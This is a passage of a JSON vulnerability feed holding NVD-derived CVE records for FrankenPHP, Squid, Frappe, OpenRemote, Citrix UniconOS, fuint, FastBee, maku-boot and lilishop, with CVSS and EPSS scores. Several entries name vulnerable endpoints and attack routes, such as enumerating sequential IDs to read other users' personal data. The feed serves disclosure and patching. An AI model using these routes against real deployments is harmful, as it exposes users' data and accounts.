configuration, frankenphp_reset_session_state() is compiled out, PS(id) can survive a request boundary, and a subsequent session_start() can ignore the new request's cookie because an identifier is already present. Under concurrent requests, session_id() can therefore return another client's identifier or a stale identifier from a previous request on the same worker thread, causing cross-user session exposure, possible session hijacking, and intermittent logout behavior. Builds with the session extension statically linked, including the official static binaries and Docker images, are not affected. This issue is fixed in version 1.12.5.","detail":"FrankenPHP is a modern application server for PHP. Prior to 1.12.5, FrankenPHP worker mode can retain PHP session state between requests when the session extension is loaded as a shared module and is unavailable through HAVE_PHP_SESSION at compile time. In this build configuration, frankenphp_reset_session_state() is compiled out, PS(id) can survive a request boundary, and a subsequent session_start() can ignore the new request's cookie because an identifier is already present. Under concurrent requests, session_id() can therefore return another client's identifier or a stale identifier from a previous request on the same worker thread, causing cross-user session exposure, possible session hijacking, and intermittent logout behavior. Builds with the session extension statically linked, including the official static binaries and Docker images, are not affected. This issue is fixed in version 1.12.5.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T17:17:47.183Z","updatedAt":"2026-10-16T20:04:29.760Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.7,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:L","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-82416","asOf":"2026-10-16T20:04:29.760Z"},"epss":{"probability":0.00228,"percentile":0.13408,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-82416&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-82416","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-82416","type":"primary","publishedAt":"2026-10-13T17:17:47.183Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-82416&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-82416, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-61642","cveId":"CVE-2026-61642","aliases":[],"kind":"vulnerability","title":"Squid is a caching proxy for the Web.","summary":"Squid is a caching proxy for the Web. From 3.3.0.1 to before 7.6, due to an improper enforcement of behavioral workflow bug, Squid is vulnerable to a Request Smuggling attack against HTTP/1.1 Transfer-Encoding. HTTP header parsing (`src/HttpHeader.cc`) accepted the bare` Transfer-Encoding:` identity form, which the HTTP specification prohibits because any transfer coding must be wrapped within chunked encoding. This problem allows a trusted client to perform an HTTP Request Smuggling attack when HTTP/1.1 is used, bypassing security mechanisms that may be in place between attacker and Squid. When there is an HTTP cache operating prior to the affected Squid, this Request Smuggling attack also allows the attacker to poison that web cache and store arbitrary malicious content at any URL for delivery to other clients' future requests. This issue is fixed in version 7.6.","detail":"Squid is a caching proxy for the Web. From 3.3.0.1 to before 7.6, due to an improper enforcement of behavioral workflow bug, Squid is vulnerable to a Request Smuggling attack against HTTP/1.1 Transfer-Encoding. HTTP header parsing (`src/HttpHeader.cc`) accepted the bare` Transfer-Encoding:` identity form, which the HTTP specification prohibits because any transfer coding must be wrapped within chunked encoding. This problem allows a trusted client to perform an HTTP Request Smuggling attack when HTTP/1.1 is used, bypassing security mechanisms that may be in place between attacker and Squid. When there is an HTTP cache operating prior to the affected Squid, this Request Smuggling attack also allows the attacker to poison that web cache and store arbitrary malicious content at any URL for delivery to other clients' future requests. This issue is fixed in version 7.6.\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T17:17:42.670Z","updatedAt":"2026-10-16T16:00:33.533Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.7,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:N/I:H/A:N","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-61642","asOf":"2026-10-16T16:00:33.533Z"},"epss":{"probability":0.0222,"percentile":0.82556,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-61642&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-61642","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-61642","type":"primary","publishedAt":"2026-10-13T17:17:42.670Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-61642&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-61642, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-55823","cveId":"CVE-2026-55823","aliases":[],"kind":"vulnerability","title":"Frappe is a full-stack web application framework.","summary":"Frappe is a full-stack web application framework. Prior to 16.23.0, the get_count() method in reportview composes a count operation around generated SQL through a raw database execution path, allowing crafted report input to alter SQL executed by the application. This issue is fixed in version 16.23.0.","detail":"Frappe is a full-stack web application framework. Prior to 16.23.0, the get_count() method in reportview composes a count operation around generated SQL through a raw database execution path, allowing crafted report input to alter SQL executed by the application. This issue is fixed in version 16.23.0.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T17:17:42.390Z","updatedAt":"2026-10-13T18:17:24.473Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.7,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:L/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-55823","asOf":"2026-10-13T18:17:24.473Z"},"epss":{"probability":0.00365,"percentile":0.30085,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-55823&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-55823","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-55823","type":"primary","publishedAt":"2026-10-13T17:17:42.390Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-55823&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-55823, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-54641","cveId":"CVE-2026-54641","aliases":[],"kind":"vulnerability","title":"OpenRemote is an open-source internet-of-things platform.","summary":"OpenRemote is an open-source internet-of-things platform. Prior to 1.24.2, the get, getUserClientRoles, and getUserRealmRoles methods in manager/src/main/java/org/openremote/manager/security/UserResourceImpl.java authorize callers with the read:admin role without confirming that the target UUID belongs to the requested and authenticated realm. A realm administrator can supply a user identifier from another tenant or the master realm and retrieve that user's profile, client roles, and realm roles, breaking tenant isolation and exposing privileged account information. This issue is fixed in version 1.24.2.","detail":"OpenRemote is an open-source internet-of-things platform. Prior to 1.24.2, the get, getUserClientRoles, and getUserRealmRoles methods in manager/src/main/java/org/openremote/manager/security/UserResourceImpl.java authorize callers with the read:admin role without confirming that the target UUID belongs to the requested and authenticated realm. A realm administrator can supply a user identifier from another tenant or the master realm and retrieve that user's profile, client roles, and realm roles, breaking tenant isolation and exposing privileged account information. This issue is fixed in version 1.24.2.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T17:17:41.633Z","updatedAt":"2026-10-13T18:17:24.247Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.7,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-54641","asOf":"2026-10-13T18:17:24.247Z"},"epss":{"probability":0.00293,"percentile":0.21674,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-54641&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-54641","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-54641","type":"primary","publishedAt":"2026-10-13T17:17:41.633Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-54641&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-54641, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-54640","cveId":"CVE-2026-54640","aliases":[],"kind":"vulnerability","title":"OpenRemote is an open-source internet-of-things platform.","summary":"OpenRemote is an open-source internet-of-things platform. Prior to 1.24.2, the KNXProtocol.startAssetImport method in agent/src/main/java/org/openremote/agent/protocol/knx/KNXProtocol.java processes 0.xml from an authenticated user's uploaded ETS project ZIP with Saxon TransformerFactoryImpl and XMLInputFactory parsers that permit external entity resolution. This incomplete remediation of CVE-2026-40882 leaves the KNX handler unprotected while the parallel Velbus handler is hardened, allowing a regular realm user to read files accessible to the JVM process or cause server-side requests. This issue is fixed in version 1.24.2.","detail":"OpenRemote is an open-source internet-of-things platform. Prior to 1.24.2, the KNXProtocol.startAssetImport method in agent/src/main/java/org/openremote/agent/protocol/knx/KNXProtocol.java processes 0.xml from an authenticated user's uploaded ETS project ZIP with Saxon TransformerFactoryImpl and XMLInputFactory parsers that permit external entity resolution. This incomplete remediation of CVE-2026-40882 leaves the KNX handler unprotected while the parallel Velbus handler is hardened, allowing a regular realm user to read files accessible to the JVM process or cause server-side requests. This issue is fixed in version 1.24.2.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T17:17:41.490Z","updatedAt":"2026-10-16T20:04:29.760Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.6,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:L/A:L","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-54640","asOf":"2026-10-16T20:04:29.760Z"},"epss":{"probability":0.00219,"percentile":0.12329,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-54640&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-54640","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-54640","type":"primary","publishedAt":"2026-10-13T17:17:41.490Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-54640&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-54640, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-53562","cveId":"CVE-2026-53562","aliases":[],"kind":"vulnerability","title":"Improper link resolution before file access ('link following') vulnerability in Citrix UniconOS.","summary":"Improper link resolution before file access ('link following') vulnerability in Citrix UniconOS.\n\nThis issue affects UniconOS: before 2607 CR and before 2603 LTSR CU2.","detail":"Improper link resolution before file access ('link following') vulnerability in Citrix UniconOS.\n\nThis issue affects UniconOS: before 2607 CR and before 2603 LTSR CU2.\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T17:17:41.147Z","updatedAt":"2026-10-14T16:04:11.750Z","regions":["Global"],"vendor":null,"product":null,"stacks":["Citrix NetScaler"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.5,"version":"4.0","vector":"CVSS:4.0/AV:L/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-53562","asOf":"2026-10-14T16:04:11.750Z"},"epss":{"probability":0.00203,"percentile":0.10195,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-53562&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-53562","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-53562","type":"primary","publishedAt":"2026-10-13T17:17:41.147Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-53562&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-53562, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-110129","cveId":"CVE-2026-110129","aliases":[],"kind":"vulnerability","title":"fuintCatering through commit 122c9e6 contains an insecure direct object reference vulnerability in the ClientRefundController refund detail endpoint that lets authenticated...","summary":"fuintCatering through commit 122c9e6 contains an insecure direct object reference vulnerability in the ClientRefundController refund detail endpoint that lets authenticated members read other members' refund records. Attackers can register freely and enumerate sequential refundId values to obtain buyers' names, national ID numbers, addresses, WeChat openIds, and order details.","detail":"fuintCatering through commit 122c9e6 contains an insecure direct object reference vulnerability in the ClientRefundController refund detail endpoint that lets authenticated members read other members' refund records. Attackers can register freely and enumerate sequential refundId values to obtain buyers' names, national ID numbers, addresses, WeChat openIds, and order details.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T17:17:38.797Z","updatedAt":"2026-10-16T19:18:44.867Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.1,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-110129","asOf":"2026-10-16T19:18:44.867Z"},"epss":{"probability":0.00386,"percentile":0.32418,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-110129&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-110129","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-110129","type":"primary","publishedAt":"2026-10-13T17:17:38.797Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-110129&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-110129, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-110128","cveId":"CVE-2026-110128","aliases":[],"kind":"vulnerability","title":"fuint through commit 4c4bc8a contains a missing authentication vulnerability that allows unauthenticated attackers to retrieve any member's order details via the...","summary":"fuint through commit 4c4bc8a contains a missing authentication vulnerability that allows unauthenticated attackers to retrieve any member's order details via the /clientApi/order/detail endpoint. Attackers can enumerate sequential orderId values without an Access-Token to expose buyer names, national ID numbers, phone numbers, addresses, WeChat openIds and verification codes.","detail":"fuint through commit 4c4bc8a contains a missing authentication vulnerability that allows unauthenticated attackers to retrieve any member's order details via the /clientApi/order/detail endpoint. Attackers can enumerate sequential orderId values without an Access-Token to expose buyer names, national ID numbers, phone numbers, addresses, WeChat openIds and verification codes.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T17:17:38.647Z","updatedAt":"2026-10-16T23:16:59.563Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.7,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-110128","asOf":"2026-10-16T23:16:59.563Z"},"epss":{"probability":0.00436,"percentile":0.37654,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-110128&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-110128","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-110128","type":"primary","publishedAt":"2026-10-13T17:17:38.647Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-110128&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-110128, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-110124","cveId":"CVE-2026-110124","aliases":[],"kind":"vulnerability","title":"FastBee through 2.1.0 contains an insecure direct object reference vulnerability in DeviceController that allows authenticated low-privilege users to read and modify other...","summary":"FastBee through 2.1.0 contains an insecure direct object reference vulnerability in DeviceController that allows authenticated low-privilege users to read and modify other tenants' devices by supplying sequential device IDs. Self-registered attackers can enumerate deviceId or serialNumber values to read owner, IP, and location data, and overwrite user_id and tenant_id to take over devices.","detail":"FastBee through 2.1.0 contains an insecure direct object reference vulnerability in DeviceController that allows authenticated low-privilege users to read and modify other tenants' devices by supplying sequential device IDs. Self-registered attackers can enumerate deviceId or serialNumber values to read owner, IP, and location data, and overwrite user_id and tenant_id to take over devices.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T17:17:37.080Z","updatedAt":"2026-10-16T19:18:44.867Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.6,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-110124","asOf":"2026-10-16T19:18:44.867Z"},"epss":{"probability":0.00386,"percentile":0.32419,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-110124&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-110124","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-110124","type":"primary","publishedAt":"2026-10-13T17:17:37.080Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-110124&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-110124, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-110123","cveId":"CVE-2026-110123","aliases":[],"kind":"vulnerability","title":"Makunet maku-boot 4.3.0 through 5.0.0 contains a missing authorization vulnerability that allows authenticated users to read mail and SMS configurations by calling...","summary":"Makunet maku-boot 4.3.0 through 5.0.0 contains a missing authorization vulnerability that allows authenticated users to read mail and SMS configurations by calling /sys/mail/config/list and /sys/sms/config/list without the required authority checks. Attackers can retrieve unmasked SMTP passwords and Aliyun, Tencent Cloud, Qiniu or Huawei Cloud access keys, and abuse /sys/mail/config/send to send mail to arbitrary recipients.","detail":"Makunet maku-boot 4.3.0 through 5.0.0 contains a missing authorization vulnerability that allows authenticated users to read mail and SMS configurations by calling /sys/mail/config/list and /sys/sms/config/list without the required authority checks. Attackers can retrieve unmasked SMTP passwords and Aliyun, Tencent Cloud, Qiniu or Huawei Cloud access keys, and abuse /sys/mail/config/send to send mail to arbitrary recipients.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T17:17:36.880Z","updatedAt":"2026-10-16T23:16:59.430Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.1,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:L/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-110123","asOf":"2026-10-16T23:16:59.430Z"},"epss":{"probability":0.00281,"percentile":0.20429,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-110123&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-110123","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-110123","type":"primary","publishedAt":"2026-10-13T17:17:36.880Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-110123&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-110123, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-110121","cveId":"CVE-2026-110121","aliases":[],"kind":"vulnerability","title":"PickMall lilishop through 4.4 contains an insecure direct object reference vulnerability that allows authenticated sellers to overwrite any store's product by supplying another...","summary":"PickMall lilishop through 4.4 contains an insecure direct object reference vulnerability that allows authenticated sellers to overwrite any store's product by supplying another store's goodsId to the goods update endpoint. Attackers can send PUT requests to /store/goods/goods/update/{goodsId} to replace 